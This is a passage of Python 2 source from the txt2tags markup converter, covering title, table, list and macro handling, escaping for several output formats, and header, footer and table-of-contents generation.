match.group('value') # NO target keywords: force all targets if name in no_target: target = 'all' # special config for GUI colors if name == 'guicolors': valmatch = guicolors.search(value) if not valmatch: return empty value = re.split('\s+', value) # Special config with two quoted values (%!preproc: "foo" 'bar') if name in ['preproc','postproc']: valmatch = prepostregex.search(value) if not valmatch: return empty getval = valmatch.group patt = getval(2) or getval(3) or getval(4) or '' repl = getval(6) or getval(7) or getval(8) or '' value = (patt, repl) return [target, name, value] ############################################################################## class MaskMaster: "(Un)Protect important structures from escaping and formatting" def __init__(self): self.linkmask = '@@@LINK@@@' self.monomask = '@@@MONO@@@' self.macromask = '@@@MACRO@@@' self.rawmask = '@@@RAW@@@' self.tocmask = '@@@TOC@@@' self.macroman = MacroMaster() self.reset() def reset(self): self.linkbank = [] self.monobank = [] self.macrobank = [] self.rawbank = [] def mask(self, line=''): global AUTOTOC # protect raw text while regex['raw'].search(line): txt = regex['raw'].search(line).group(1) txt = doEscape(TARGET,txt) self.rawbank.append(txt) line = regex['raw'].sub(self.rawmask,line,1) # protect pre-formatted font text while regex['fontMono'].search(line): txt = regex['fontMono'].search(line).group(1) txt = doEscape(TARGET,txt) self.monobank.append(txt) line = regex['fontMono'].sub(self.monomask,line,1) # protect macros while regex['macros'].search(line): txt = regex['macros'].search(line).group() self.macrobank.append(txt) line = regex['macros'].sub(self.macromask,line,1) # protect TOC location while regex['toc'].search(line): line = regex['toc'].sub(self.tocmask,line) AUTOTOC = 0 # protect URLs and emails while regex['linkmark'].search(line) or \ regex['link' ].search(line): # try to match plain or named links match_link = regex['link'].search(line) match_named = regex['linkmark'].search(line) # define the current match if match_link and match_named: # both types found, which is the first? m = match_link if match_named.start() < match_link.start(): m = match_named else: # just one type found, we're fine m = match_link or match_named # extract link data and apply mask if m == match_link: # plain link link = m.group() label = '' link_re = regex['link'] else: # named link link = m.group('link') label = string.rstrip(m.group('label')) link_re = regex['linkmark'] line = link_re.sub(self.linkmask,line,1) # save link data to the link bank self.linkbank.append((label, link)) return line def undo(self, line): # url & email for label,url in self.linkbank: link = get_tagged_link(label, url) line = string.replace(line, self.linkmask, link, 1) # expand macros for macro in self.macrobank: macro = self.macroman.expand(macro) line = string.replace(line, self.macromask, macro,1) # expand verb for mono in self.monobank: open,close = TAGS['fontMonoOpen'],TAGS['fontMonoClose'] tagged = open+mono+close line = string.replace(line,self.monomask,tagged,1) # expand raw for raw in self.rawbank: line = string.replace(line,self.rawmask,raw,1) return line ############################################################################## class TitleMaster: "Title things" def __init__(self): self.count = ['',0,0,0,0,0] self.toc = [] self.level = 0 self.kind = '' self.txt = '' self.label = '' self.tag = '' self.count_id = '' self.user_labels = {} self.anchor_count = 0 self.anchor_prefix = 'toc' def add(self, line): "Parses a new title line." if not line: return self._set_prop(line) self._set_count_id() self._set_label() self._save_toc_info() def _save_toc_info(self): "Save TOC info, used by self.dump_marked_toc()" self.toc.append((self.level, self.count_id, self.txt , self.label )) def _set_prop(self, line=''): "Extract info from original line and set data holders." # detect title type (numbered or not) id = string.lstrip(line)[0] if id == '=': kind = 'title' elif id == '+': kind = 'numtitle' else: Error("Unknown Title ID '%s'"%id) # extract line info match = regex[kind].search(line) level = len(match.group('id')) txt = string.strip(match.group('txt')) label = match.group('label') # parse info & save if CONF['enum-title']: kind = 'numtitle' # force self.tag = TAGS[kind+`level`] or TAGS['title'+`level`] self.kind = kind self.level = level self.txt = txt self.label = label def _set_count_id(self): "Compose and save the title count identifier (if needed)." count_id = '' if self.kind == 'numtitle' and not rules['autonumbertitle']: # manually increase title count self.count[self.level] = self.count[self.level] +1 # reset sublevels count (if any) max_levels = len(self.count) if self.level < max_levels-1: for i in range(self.level+1, max_levels): self.count[i] = 0 # compose count id from hierarchy for i in range(self.level): count_id= "%s%d."%(count_id, self.count[i+1]) self.count_id = count_id def _set_label(self): "Compose and save title label, used by anchors." # remove invalid chars from label set by user self.label = re.sub('[^A-Za-z0-9_-]', '', self.label or '') # generate name as 15 first :alnum: chars #TODO how to translate safely accented chars to plain? #self.label = re.sub('[^A-Za-z0-9]', '', self.txt)[:15] # 'tocN' label - sequential count, ignoring 'toc-level' #self.label = self.anchor_prefix + str(len(self.toc)+1) def _get_tagged_anchor(self): "Return anchor if user defined a label, or TOC is on." ret = '' label = self.label if CONF['toc'] and self.level <= CONF['toc-level']: # this count is needed bcos self.toc stores all # titles, regardless of the 'toc-level' setting, # so we can't use self.toc lenght to number anchors self.anchor_count = self.anchor_count + 1 # autonumber label (if needed) label = label or '%s%s'%( self.anchor_prefix, self.anchor_count) if label and TAGS['anchor']: ret = regex['x'].sub(label,TAGS['anchor']) return ret def _get_full_title_text(self): "Returns the full title contents, already escaped." ret = self.txt # insert count_id (if any) before text if self.count_id: ret = '%s %s'%(self.count_id, ret) # escape specials ret = doEscape(TARGET, ret) # same targets needs final escapes on title lines # it's here because there is a 'continue' after title if rules['finalescapetitle']: ret = doFinalEscape(TARGET, ret) return ret def get(self): "Returns the tagged title as a list." ret = [] # maybe some anchoring before? anchor = self._get_tagged_anchor() self.tag = regex['_anchor'].sub(anchor, self.tag) ### compose & escape title text (TOC uses unescaped) full_title = self._get_full_title_text() # finish title, adding "underline" on TXT target tagged = regex['x'].sub(full_title, self.tag) if TARGET == 'txt': ret.append('') # blank line before ret.append(tagged) ret.append(regex['x'].sub('='*len(full_title),self.tag)) ret.append('') # blank line after else: ret.append(tagged) return ret def dump_marked_toc(self, max_level=99): "Dumps all toc itens as a valid t2t markup list" #TODO maybe use quote+linebreaks instead lists ret = [] toc_count = 1 for level, count_id, txt, label in self.toc: if level > max_level: continue # ignore indent = ' '*level id_txt = string.lstrip('%s %s'%(count_id, txt)) label = label or self.anchor_prefix+`toc_count` toc_count = toc_count + 1 # TOC will have links if TAGS['anchor']: # TOC is more readable with master topics # not linked at number. This is a stoled # idea from Windows .CHM help files if CONF['enum-title'] and level == 1: tocitem = '%s+ [""%s"" #%s]'%( indent, txt, label) else: tocitem = '%s- [""%s"" #%s]'%( indent, id_txt, label) # no links on TOC, just text else: # man don't reformat TOC lines, cool! if TARGET in ['txt', 'man']: tocitem = '%s""%s""' %( indent, id_txt) else: tocitem = '%s- ""%s""'%( indent, id_txt) ret.append(tocitem) return ret ############################################################################## #TODO check all this table mess # trata linhas TABLE, com as prop do parse_row # o metodo table() do BLOCK xunxa e troca as celulas pelas parseadas class TableMaster: def __init__(self, line=''): self.rows = [] self.border = 0 self.align = 'Left' self.cellalign = [] if line: prop = self.parse_row(line) self.border = prop['border'] self.align = prop['align'] self.cellalign = prop['cellalign'] def _get_open_tag(self): topen = TAGS['tableOpen'] tborder = TAGS['tableBorder'] talign = TAGS['tableAlign'+self.align] calignsep = TAGS['tableColAlignSep'] calign = '' # the first line defines if table has border or not if not self.border: tborder = '' # set the columns alignment if rules['tablecellaligntype'] == 'column': calign = map(lambda x: TAGS['tableColAlign%s'%x], self.cellalign) calign = string.join(calign, calignsep) # align full table, set border and Column align (if any) topen = regex['_tableAlign' ].sub(talign , topen) topen = regex['_tableBorder' ].sub(tborder, topen) topen = regex['_tableColAlign'].sub(calign , topen) # tex table spec, border or not: {|l|c|r|} , {lcr} if calignsep and not self.border: # remove cell align separator topen = string.replace(topen, calignsep, '') return topen def _get_cell_align(self, cells): ret = [] for cell in cells: align = 'Left' if string.strip(cell): if cell[0] == ' ' and cell[-1] == ' ': align = 'Center' elif cell[0] == ' ': align = 'Right' ret.append(align) return ret def _tag_cells(self, rowdata): row = [] cells = rowdata['cells'] open = TAGS['tableCellOpen'] close = TAGS['tableCellClose'] sep = TAGS['tableCellSep'] calign = map(lambda x: TAGS['tableCellAlign'+x], rowdata['cellalign']) # maybe is it a title row? if rowdata['title']: open = TAGS['tableTitleCellOpen'] or open close = TAGS['tableTitleCellClose'] or close sep = TAGS['tableTitleCellSep'] or sep # should we break the line on *each* table cell? if rules['breaktablecell']: close = close+'\n' # cells pre processing if rules['tablecellstrip']: cells = map(lambda x: string.strip(x), cells) if rowdata['title'] and rules['tabletitlerowinbold']: cells = map(lambda x: enclose_me('fontBold',x), cells) # add cell BEGIN/END tags for cell in cells: # insert cell align into open tag (if cell is alignable) if rules['tablecellaligntype'] == 'cell': copen = string.replace(open,'\a',calign.pop(0)) else: copen = open row.append(copen + cell + close) # maybe there are cell separators? return string.join(row, sep) def add_row(self, cells): self.rows.append(cells) def parse_row(self, line): # default table proprierties ret = {'border':0,'title':0,'align':'Left', 'cells':[],'cellalign':[]} # detect table align (and remove spaces mark) if line[0] == ' ': ret['align'] = 'Center' line = string.lstrip(line) # detect title mark if line[1] == '|': ret['title'] = 1 # delete trailing spaces after last cell border line = re.sub('\|\s*$','|', line) # detect (and delete) border mark (and leading space) if line[-1] == '|': ret['border'] = 1 ; line = line[:-2] # delete table mark line = regex['table'].sub('', line) # split cells ret['cells'] = string.split(line, ' | ') # find cells align ret['cellalign'] = self._get_cell_align(ret['cells']) Debug('Table Prop: %s' % ret, 2) return ret def dump(self): open = self._get_open_tag() rows = self.rows close = TAGS['tableClose'] rowopen = TAGS['tableRowOpen'] rowclose = TAGS['tableRowClose'] rowsep = TAGS['tableRowSep'] titrowopen = TAGS['tableTitleRowOpen'] or rowopen titrowclose = TAGS['tableTitleRowClose'] or rowclose if rules['breaktablelineopen']: rowopen = rowopen + '\n' titrowopen = titrowopen + '\n' # tex gotchas if TARGET == 'tex': if not self.border: rowopen = titrowopen = '' else: close = rowopen + close # now we tag all the table cells on each row #tagged_cells = map(lambda x: self._tag_cells(x), rows) #!py15 tagged_cells = [] for cell in rows: tagged_cells.append(self._tag_cells(cell)) # add row separator tags between lines tagged_rows = [] if rowsep: #!py15 #tagged_rows = map(lambda x:x+rowsep, tagged_cells) for cell in tagged_cells: tagged_rows.append(cell+rowsep) # remove last rowsep, because the table is over tagged_rows[-1] = string.replace( tagged_rows[-1], rowsep, '') # add row BEGIN/END tags for each line else: for rowdata in rows: if rowdata['title']: o,c = titrowopen, titrowclose else: o,c = rowopen, rowclose row = tagged_cells.pop(0) tagged_rows.append(o + row + c) fulltable = [open] + tagged_rows + [close] if rules['blankendtable']: fulltable.append('') return fulltable ############################################################################## class BlockMaster: "TIP: use blockin/out to add/del holders" def __init__(self): self.BLK = [] self.HLD = [] self.PRP = [] self.depth = 0 self.last = '' self.tableparser = None self.contains = { 'para' :['passthru','raw'], 'verb' :[], 'table' :[], 'raw' :[], 'passthru':[], 'quote' :['quote','passthru','raw'], 'list' :['list' ,'numlist' ,'deflist','para','verb', 'raw' ,'passthru'], 'numlist' :['list' ,'numlist' ,'deflist','para','verb', 'raw' ,'passthru'], 'deflist' :['list' ,'numlist' ,'deflist','para','verb', 'raw' ,'passthru'] } self.allblocks = self.contains.keys() def block(self): if not self.BLK: return '' return self.BLK[-1] def isblock(self, name=''): return self.block() == name def prop(self, key): if not self.PRP: return '' return self.PRP[-1].get(key) or '' def propset(self, key, val): self.PRP[-1][key] = val #Debug('BLOCK prop ++: %s->%s'%(key,repr(val)), 1) #Debug('BLOCK props: %s'%(repr(self.PRP)), 1) def hold(self): if not self.HLD: return [] return self.HLD[-1] def holdadd(self, line): if self.block()[-4:] == 'list': line = [line] self.HLD[-1].append(line) Debug('HOLD add: %s'%repr(line), 5) Debug('FULL HOLD: %s'%self.HLD, 2) def holdaddsub(self, line): self.HLD[-1][-1].append(line) Debug('HOLD addsub: %s'%repr(line), 5) Debug('FULL HOLD: %s'%self.HLD, 2) def holdextend(self, lines): if self.block()[-4:] == 'list': lines = [lines] self.HLD[-1].extend(lines) Debug('HOLD extend: %s'%repr(lines), 5) Debug('FULL HOLD: %s'%self.HLD, 2) def blockin(self, block): ret = [] if block not in self.allblocks: Error("Invalid block '%s'"%block) # first, let's close other possible open blocks while self.block() and block not in self.contains[self.block()]: ret.extend(self.blockout()) # now we can gladly add this new one self.BLK.append(block) self.HLD.append([]) self.PRP.append({}) if block == 'table': self.tableparser = TableMaster() # deeper and deeper self.depth = len(self.BLK) Debug('block ++ (%s): %s' % (block,self.BLK), 6) return ret def blockout(self): if not self.BLK: Error('No block to pop') self.last = self.BLK.pop() tagged = getattr(self, self.last)() parsed = self.HLD.pop() self.PRP.pop() self.depth = len(self.BLK) if self.last == 'table': del self.tableparser # inserting a nested block into mother if self.block(): if self.block()[-4:] == 'list': self.HLD[-1][-1].append(tagged) else: self.HLD[-1].append(tagged) tagged = [] # reset. mother will have it all Debug('block -- (%s): %s' % (self.last,self.BLK), 6) Debug('RELEASED (%s): %s' % (self.last,parsed), 6) if tagged: Debug('DUMPED: %s'%tagged, 2) return tagged def _last_escapes(self, line): return doFinalEscape(TARGET, line) def _get_escaped_hold(self): ret = [] for line in self.hold(): linetype = type(line) if linetype == type(''): ret.append(self._last_escapes(line)) elif linetype == type([]): ret.extend(line) else: Error("BlockMaster: Unknown HOLD item type:" " %s"%linetype) return ret def _remove_twoblanks(self, lastitem): if len(lastitem) > 1 and lastitem[-2:] == ['','']: return lastitem[:-2] return lastitem def passthru(self): return self.hold() def raw(self): lines = self.hold() return map(lambda x: doEscape(TARGET, x), lines) def para(self): tagged = [] open = TAGS['paragraphOpen'] close = TAGS['paragraphClose'] lines = self._get_escaped_hold() # open (or not) paragraph if not open+close and self.last == 'para': pass # avoids multiple blank lines else: tagged.append(open) # pagemaker likes a paragraph as a single long line if rules['onelinepara']: tagged.append(string.join(lines,' ')) # others are normal :) else: tagged.extend(lines) tagged.append(close) # very very very very very very very very very UGLY fix # needed because <center> can't appear inside <p> try: if len(lines) == 1 and \ TARGET in ('html', 'xhtml') and \ re.match('^\s*<center>.*</center>\s*$', lines[0]): tagged = [lines[0]] except: pass return tagged def verb(self): "Verbatim lines are not masked, so there's no need to unmask" tagged = [] tagged.append(TAGS['blockVerbOpen']) for line in self.hold(): if self.prop('mapped') == 'table': line = MacroMaster().expand(line) if not rules['verbblocknotescaped']: line = doEscape(TARGET,line) if rules['indentverbblock']: line = ' '+line if rules['verbblockfinalescape']: line = doFinalEscape(TARGET, line) tagged.append(line) #TODO maybe use if not TAGS['blockVerbClose'] if TARGET != 'pm6': tagged.append(TAGS['blockVerbClose']) return tagged def table(self): # rewrite all table cells by the unmasked and escaped data lines = self._get_escaped_hold() for i in range(len(lines)): cells = string.split(lines[i], SEPARATOR) self.tableparser.rows[i]['cells'] = cells return self.tableparser.dump() def quote(self): tagged = [] myre = regex['quote'] open = TAGS['blockQuoteOpen'] # block based close = TAGS['blockQuoteClose'] qline = TAGS['blockQuoteLine'] # line based indent = tagindent = '\t'*self.depth if rules['tagnotindentable']: tagindent = '' if not rules['keepquoteindent']: indent = '' if open: tagged.append(tagindent+open) # open block for item in self.hold(): if type(item) == type([]): tagged.extend(item) # subquotes else: item = myre.sub('', item) # del TABs if rules['barinsidequote']: item = get_tagged_bar(item) item = self._last_escapes(item) item = qline*self.depth + item tagged.append(indent+item) # quote line if close: tagged.append(tagindent+close) # close block return tagged def deflist(self): return self.list('deflist') def numlist(self): return self.list('numlist') def list(self, name='list'): tagged = [] items = self.hold() indent = self.prop('indent') tagindent = indent listopen = TAGS.get(name+'Open') listclose = TAGS.get(name+'Close') listline = TAGS.get(name+'ItemLine') itemcount = 0 if rules['tagnotindentable']: tagindent = '' if not rules['keeplistindent']: indent = '' if name == 'deflist': itemopen = TAGS[name+'Item1Open'] itemclose = TAGS[name+'Item2Close'] itemsep = TAGS[name+'Item1Close']+\ TAGS[name+'Item2Open'] else: itemopen = TAGS[name+'ItemOpen'] itemclose = TAGS[name+'ItemClose'] itemsep = '' # ItemLine: number of leading chars identifies list depth if listline: itemopen = listline*self.depth # dirty fix for mgp if name == 'numlist': itemopen = itemopen + '\a. ' # remove two-blanks from list ending mark, to avoid <p> items[-1] = self._remove_twoblanks(items[-1]) # open list (not nestable lists are only opened at mother) if listopen and not \ (rules['listnotnested'] and BLOCK.depth != 1): tagged.append(tagindent+listopen) # tag each list item (multine items) itemopenorig = itemopen for item in items: # add "manual" item count for noautonum targets itemcount = itemcount + 1 if name == 'numlist' and not rules['autonumberlist']: n = str(itemcount) itemopen = regex['x'].sub(n, itemopenorig) del n item[0] = self._last_escapes(item[0]) if name == 'deflist': term, rest = string.split(item[0],SEPARATOR,1) item[0] = rest if not item[0]: del item[0] # to avoid <p> tagged.append(tagindent+itemopen+term+itemsep) else: fullitem = tagindent+itemopen tagged.append(string.replace( item[0], SEPARATOR, fullitem)) del item[0] # process next lines for this item (if any) for line in item: if type(line) == type([]): # sublist inside tagged.extend(line) else: line = self._last_escapes(line) # blank lines turns to <p> if not line and rules['parainsidelist']: line = string.rstrip(indent +\ TAGS['paragraphOpen']+\ TAGS['paragraphClose']) if not rules['keeplistindent']: line = string.lstrip(line) tagged.append(line) # close item (if needed) if itemclose: tagged.append(tagindent+itemclose) # close list (not nestable lists are only closed at mother) if listclose and not \ (rules['listnotnested'] and BLOCK.depth != 1): tagged.append(tagindent+listclose) if rules['blankendmotherlist'] and BLOCK.depth == 1: tagged.append('') return tagged ############################################################################## class MacroMaster: def __init__(self, config={}): self.name = '' self.config = config or CONF self.infile = self.config['sourcefile'] self.outfile = self.config['outfile'] self.currdate = time.localtime(time.time()) self.rgx = regex.get('macros') or getRegexes()['macros'] self.fileinfo = { 'infile': None, 'outfile': None } self.dft_fmt = MACROS def walk_file_format(self, fmt): "Walks the %%{in/out}file format string, expanding the % flags" i = 0; ret = '' # counter/hold while i < len(fmt): # char by char c = fmt[i]; i = i + 1 if c == '%': # hot char! if i == len(fmt): # % at the end ret = ret + c break c = fmt[i]; i = i + 1 # read next ret = ret + self.expand_file_flag(c) else: ret = ret +c # common char return ret def expand_file_flag(self, flag): "%f: filename %F: filename (w/o extension)" "%d: dirname %D: dirname (only parent dir)" "%p: file path %e: extension" info = self.fileinfo[self.name] # get dict if flag == '%': x = '%' # %% -> % elif flag == 'f': x = info['name'] elif flag == 'F': x = re.sub('\.[^.]*$','',info['name']) elif flag == 'd': x = info['dir'] elif flag == 'D': x = os.path.split(info['dir'])[-1] elif flag == 'p': x = info['path'] elif flag == 'e': x = re.search('.(\.([^.]+))?$',info['name'] ).group(2) or '' #TODO simplier way for %e ? else : x = '%'+flag # false alarm return x def set_file_info(self, macroname): if self.fileinfo.get(macroname): return # already done file = getattr(self, self.name) # self.infile if file == STDOUT: dir = ''; path = name = STDOUT else: path = os.path.abspath(file) dir = os.path.dirname(path) name = os.path.basename(path) self.fileinfo[macroname] = {'path':path,'dir':dir,'name':name} def expand(self, line=''): "Expand all macros found on the line" while self.rgx.search(line): m = self.rgx.search(line) name = self.name = m.group('name') fmt = m.group('fmt') or self.dft_fmt.get(name) if name == 'date': txt = time.strftime(fmt,self.currdate) elif name == 'mtime': if self.infile == STDIN: fdate = self.currdate else: mtime = os.path.getmtime(self.infile) fdate = time.localtime(mtime) txt = time.strftime(fmt,fdate) elif name in ['infile','outfile']: self.set_file_info(name) txt = self.walk_file_format(fmt) else: Error("Unknown macro name '%s'"%name) line = self.rgx.sub(txt,line,1) return line ############################################################################## def dumpConfig(source_raw, parsed_config): onoff = {1:_('ON'), 0:_('OFF')} data = [ (_('RC file') , RC_RAW ), (_('source document'), source_raw ), (_('command line') , CMDLINE_RAW) ] # first show all RAW data found for label, cfg in data: print _('RAW config for %s')%label for target,key,val in cfg: target = '(%s)'%target key = dotted_spaces("%-14s"%key) val = val or _('ON') print ' %-8s %s: %s'%(target,key,val) print # then the parsed results of all of them print _('Full PARSED config') keys = parsed_config.keys() ; keys.sort() # sorted for key in keys: val = parsed_config[key] # filters are the last if key in ['preproc', 'postproc']: continue # flag beautifier if key in FLAGS.keys()+ACTIONS.keys(): val = onoff.get(val) or val # list beautifier if type(val) == type([]): if key == 'options': sep = ' ' else : sep = ', ' val = string.join(val, sep) print "%25s: %s"%(dotted_spaces("%-14s"%key),val) print print _('Active filters') for filter in ['preproc','postproc']: for rule in parsed_config.get(filter) or []: print "%25s: %s -> %s"%( dotted_spaces("%-14s"%filter),rule[0],rule[1]) def get_file_body(file): "Returns all the document BODY lines" return process_source_file(file, noconf=1)[1][2] def finish_him(outlist, config): "Writing output to screen or file" outfile = config['outfile'] outlist = unmaskEscapeChar(outlist) # apply PostProc filters if config['postproc']: filters = compile_filters(config['postproc'], _('Invalid PostProc filter regex')) postoutlist = [] for line in outlist: for rgx,repl in filters: line = rgx.sub(repl, line) postoutlist.append(line) outlist = postoutlist[:] if outfile == STDOUT: if GUI: return outlist, config else: for line in outlist: print line else: Savefile(outfile, addLineBreaks(outlist)) if not GUI and not QUIET: print _('%s wrote %s')%(my_name,outfile) if config['split']: if not QUIET: print "--- html..." sgml2html = 'sgml2html -s %s -l %s %s'%( config['split'],config['lang'] or lang,outfile) if not QUIET: print "Running system command:", sgml2html os.system(sgml2html) def toc_inside_body(body, toc, config): ret = [] if AUTOTOC: return body # nothing to expand toc_mark = MaskMaster().tocmask # expand toc mark with TOC contents for line in body: if string.count(line, toc_mark): # toc mark found if config['toc']: ret.extend(toc) # include if --toc else: pass # or remove %%toc line else: ret.append(line) # common line return ret def toc_tagger(toc, config): "Convert t2t-marked TOC (it is a list) to target-tagged TOC" ret = [] # tag if TOC-only TOC "by hand" (target don't have a TOC tag) if config['toc-only'] or (config['toc'] and not TAGS['TOC']): fakeconf = config.copy() fakeconf['headers'] = 0 fakeconf['toc-only'] = 0 fakeconf['mask-email'] = 0 fakeconf['preproc'] = [] fakeconf['postproc'] = [] fakeconf['css-sugar'] = 0 ret,foo = convert(toc, fakeconf) set_global_config(config) # restore config # target TOC is a tag elif config['toc'] and TAGS['TOC']: ret = [TAGS['TOC']] return ret def toc_formatter(toc, config): "Formats TOC for automatic placement between headers and body" if config['toc-only']: return toc # no formatting needed if not config['toc'] : return [] # TOC disabled ret = toc # TOC open/close tags (if any) if TAGS['tocOpen' ]: ret.insert(0, TAGS['tocOpen']) if TAGS['tocClose']: ret.append(TAGS['tocClose']) # autotoc specific formatting if AUTOTOC: if rules['autotocwithbars']: # TOC between bars para = TAGS['paragraphOpen']+TAGS['paragraphClose'] bar = regex['x'].sub('-'*72,TAGS['bar1']) tocbar = [para, bar, para] ret = tocbar + ret + tocbar if rules['blankendautotoc']: # blank line after TOC ret.append('') if rules['autotocnewpagebefore']: # page break before TOC ret.insert(0,TAGS['pageBreak']) if rules['autotocnewpageafter']: # page break after TOC ret.append(TAGS['pageBreak']) return ret def doHeader(headers, config): if not config['headers']: return [] if not headers: headers = ['','',''] target = config['target'] if not HEADER_TEMPLATE.has_key(target): Error("doheader: Unknow target '%s'"%target) if target in ['html','xhtml'] and config.get('css-sugar'): template = string.split(HEADER_TEMPLATE[target+'css'], '\n') else: template = string.split(HEADER_TEMPLATE[target], '\n') head_data = {'STYLE':'', 'ENCODING':''} for key in head_data.keys(): val = config.get(string.lower(key)) if key == 'ENCODING': val = get_encoding_string(val, target) head_data[key] = val # parse header contents for i in 0,1,2: # expand macros contents = MacroMaster(config=config).expand(headers[i]) # Escapes - on tex, just do it if any \tag{} present if target != 'tex' or \ (target == 'tex' and re.search(r'\\\w+{', contents)): contents = doEscape(target, contents) head_data['HEADER%d'%(i+1)] = contents Debug("Header Data: %s"%head_data, 1) # scan for empty dictionary keys # if found, scan template lines for that key reference # if found, remove the reference # if there isn't any other key reference on the same line, remove it for key in head_data.keys(): if head_data.get(key): continue for line in template: if string.count(line, '%%(%s)s'%key): sline = string.replace(line, '%%(%s)s'%key, '') if not re.search(r'%\([A-Z0-9]+\)s', sline): template.remove(line) # populate template with data template = string.join(template, '\n') % head_data return string.split(template, '\n') def doCommentLine(txt): # the -- string ends a (h|sg|xht)ml comment :( txt = maskEscapeChar(txt) if string.count(TAGS['comment'], '--') and \ string.count(txt, '--'): txt = re.sub('-(?=-)', r'-\\', txt) if TAGS['comment']: return regex['x'].sub(txt, TAGS['comment']) return '' def doFooter(config): if not config['headers']: return [] ret = [] target = config['target'] cmdline = config['realcmdline'] typename = target if target == 'tex': typename = 'LaTeX2e' ppgd = '%s code generated by %s %s (%s)'%( typename,my_name,my_version,my_url) cmdline = 'cmdline: %s %s'%(my_name, string.join(cmdline, ' ')) ret.append('\n'+doCommentLine(ppgd)) ret.append(doCommentLine(cmdline)) ret.append(TAGS['EOD']) return ret def doEscape(target,txt): "Target-specific special escapes. Apply *before* insert any tag." if target in ['html','sgml','xhtml']: txt = re.sub('&','&amp;',txt) txt = re.sub('<','&lt;',txt) txt = re.sub('>','&gt;',txt) if target == 'sgml': txt = re.sub('\xff','&yuml;',txt) # "+y elif target == 'pm6': txt = re.sub('<','<\#60>',txt) elif target == 'mgp': txt = re.sub('^%',' %',txt) # add leading blank to avoid parse elif target == 'man': txt = re.sub("^([.'])", '\\&\\1',txt) # command ID txt = string.replace(txt,ESCCHAR, ESCCHAR+'e') # \e elif target == 'tex': # mark literal \ to be changed to $\backslash$ later txt = string.replace( txt, ESCCHAR, '@@LaTeX-escaping-SUX@@') txt = re.sub('([#$&%{}])', ESCCHAR+r'\1' , txt) # \% txt = re.sub('([~^])' , ESCCHAR+r'\1{}', txt) # \~{} txt = re.sub('([<|>])' , r'$\1$', txt) # $>$ txt = string.replace(txt, '@@LaTeX-escaping-SUX@@', maskEscapeChar(r'$\backslash$')) # TIP the _ is escaped at the end return txt # TODO man: where - really needs to be escaped? def doFinalEscape(target, txt): "Last escapes of each line" if target == 'pm6' : txt = string.replace(txt,ESCCHAR+'<',r'<\#92><') elif target == 'man' : txt = string.replace(txt, '-', r'\-') elif target == 'tex' : txt = string.replace(txt, '_', r'\_') elif target == 'sgml': txt = string.replace(txt, '[', '&lsqb;') return txt def EscapeCharHandler(action, data): "Mask/Unmask the Escape Char on the given string" if not string.strip(data): return data if action not in ['mask','unmask']: Error("EscapeCharHandler: Invalid action '%s'"%action) if action == 'mask': return string.replace(data,'\\',ESCCHAR) else: return string.replace(data,ESCCHAR,'\\') def maskEscapeChar(data): "Replace any Escape Char \ with a text mask (Input: str or list)" if type(data) == type([]): return map(lambda x: EscapeCharHandler('mask', x), data) return EscapeCharHandler('mask',data) def unmaskEscapeChar(data): "Undo the Escape char \ masking (Input: str or list)" if type(data) == type([]): return map(lambda x: EscapeCharHandler('unmask', x), data) return EscapeCharHandler('unmask',data) def addLineBreaks(list): "use LB to respect sys.platform" ret = [] for line in list: line = string.replace(line,'\n',LB) # embedded \n's ret.append(line+LB) # add final line break return ret def compile_filters(filters, errmsg='Filter'): if filters: for i in range(len(filters)): patt,repl = filters[i] try: rgx = re.compile(patt) except: Error("%s: '%s'"%(errmsg, patt)) filters[i] = (rgx,repl) return filters def enclose_me(tagname, txt): return TAGS.get(tagname+'Open') + txt + TAGS.get(tagname+'Close') def beautify_me(name, line): "where name is: bold, italic or underline" name = 'font%s' % string.capitalize(name) open = TAGS['%sOpen'%name] close = TAGS['%sClose'%name] txt = r'%s\1%s'%(open, close) line = regex[name].sub(txt,line) return line def get_tagged_link(label, url): ret = '' target = CONF['target'] image_re = regex['img'] # set link type if regex['email'].match(url): linktype = 'email' else: linktype = 'url'; # escape specials from TEXT parts label = doEscape(target,label) # escape specials from link URL if rules['linkable'] and rules['escapeurl']: url = doEscape(target, url) # if not linkable, the URL is plain text, that needs escape if not rules['linkable']: if target == 'tex': url = re.sub('^#', '\#', url) # ugly, but compile else: url = doEscape(target,url) # adding protocol to guessed link guessurl = '' if linktype == 'url' and \ re.match(regex['_urlskel']['guess'], url): if url[0] == 'w': guessurl = 'http://' +url else : guessurl = 'ftp://' +url # not link aware targets -> protocol is useless if not rules['linkable']: guessurl = '' # simple link (not guessed) if not label and not guessurl: if CONF['mask-email'] and linktype == 'email': # do the email mask feature (no TAGs, just text) url = string.replace(url,'@',' (a) ') url = string.replace(url,'.',' ') url = "<%s>" % url if rules['linkable']: url = doEscape(target, url) ret = url else: # just add link data to tag tag = TAGS[linktype] ret = regex['x'].sub(url,tag) # named link or guessed simple link else: # adjusts for guessed link if not label: label = url # no protocol if guessurl : url = guessurl # with protocol # image inside link! if image_re.match(label): if rules['imglinkable']: # get image tag label = parse_images(label) else: # img@link !supported label = "(%s)"%image_re.match(label).group(1) # putting data on the right appearance order if rules['linkable']: urlorder = [url, label] # link before label else: urlorder = [label, url] # label before link # add link data to tag (replace \a's) ret = TAGS["%sMark"%linktype] for data in urlorder: ret = regex['x'].sub(data,ret,1) return ret def parse_deflist_term(line): "Extract and parse definition list term contents" img_re = regex['img'] term = regex['deflist'].search(line).group(3) # mask image inside term as (image.jpg), where not supported if not rules['imgasdefterm'] and img_re.search(term): while img_re.search(term): imgfile = img_re.search(term).group(1) term = img_re.sub('(%s)'%imgfile, term, 1) #TODO tex: escape ] on term. \], \rbrack{} and \verb!]! don't work :( return term def get_tagged_bar(line): m = regex['bar'].search(line) if not m: return line txt = m.group(2) # set bar type if txt[0] == '=': bar = TAGS['bar2'] else : bar = TAGS['bar1'] # to avoid comment tag confusion like <!-- ------ --> if string.count(TAGS['comment'], '--'): txt = string.replace(txt,'--','__') # tag line return regex['x'].sub(txt, bar) def get_image_align(line): "Return the image (first found) align for the given line" # first clear marks that can mess align detection line = re.sub(SEPARATOR+'$', '', line) # remove deflist sep line = re.sub('^'+SEPARATOR, '', line) # remove list sep line = re.sub('^[\t]+' , '', line) # remove quote mark # get image position on the line m = regex['img'].search(line) ini = m.start() ; head = 0 end = m.end() ; tail = len(line) # the align detection algorithm if ini == head and end != tail: align = 'left' # ^img + text$ elif ini != head and end == tail: align = 'right' # ^text + img$ else : align = 'middle' # default align # some special cases if BLOCK.isblock('table'): align = 'middle' # ignore when table if TARGET == 'mgp' and align == 'middle': align = 'center' return align # reference: http://www.iana.org/assignments/character-sets # http://www.drclue.net/F1.cgi/HTML/META/META.html def get_encoding_string(enc, target): if not enc: return '' # target specific translation table translate = { 'tex': { # missing: ansinew , applemac , cp437 